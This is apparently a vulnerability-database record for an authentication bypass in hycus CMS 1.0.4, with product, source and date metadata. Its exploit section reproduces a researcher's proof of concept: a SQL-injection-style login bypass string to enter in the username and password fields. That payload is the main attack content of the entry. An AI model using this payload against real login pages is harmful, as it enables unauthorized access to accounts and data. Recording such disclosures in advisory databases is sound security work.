ID

VAR-E-201806-0124


TITLE

hycus CMS 1.0.4 - Authentication Bypass Vulnerability

Trust: 0.6

sources: EDBNET: 98484

AFFECTED PRODUCTS

vendor:hycusmodel:cmsscope:eqversion:1.0.4

Trust: 0.6

sources: EDBNET: 98484

EXPLOIT

# Exploit Title: hycus Content Management System v1.0.4 Login Page Bypass
# Exploit Author: Berk Dusunur
# Vendor Homepage: http://www.hycus.com/
# Software Link: http://demosite.center/hycus/
# Version: 1.0.4
# Tested on: Pardus / Debian Web Server
# CVE : N/A
#Proof Of Concept
use login bypass payload for username= '=' 'OR' for password= '=' 'OR'

Trust: 0.6

sources: EDBNET: 98484

PRICE

free

Trust: 0.6

sources: EDBNET: 98484

TYPE

Authentication Bypass Vulnerability

Trust: 0.6

sources: EDBNET: 98484

EXTERNAL IDS

db:0DAYTODAYid:30645

Trust: 0.6

db:EDBNETid:98484

Trust: 0.6

sources: EDBNET: 98484

REFERENCES

url:https://0day.today/exploits/30645

Trust: 0.6

sources: EDBNET: 98484

SOURCES

db:EDBNETid:98484

LAST UPDATE DATE

2022-07-27T09:24:12.404000+00:00


SOURCES RELEASE DATE

db:EDBNETid:98484date:2018-06-30T00:00:00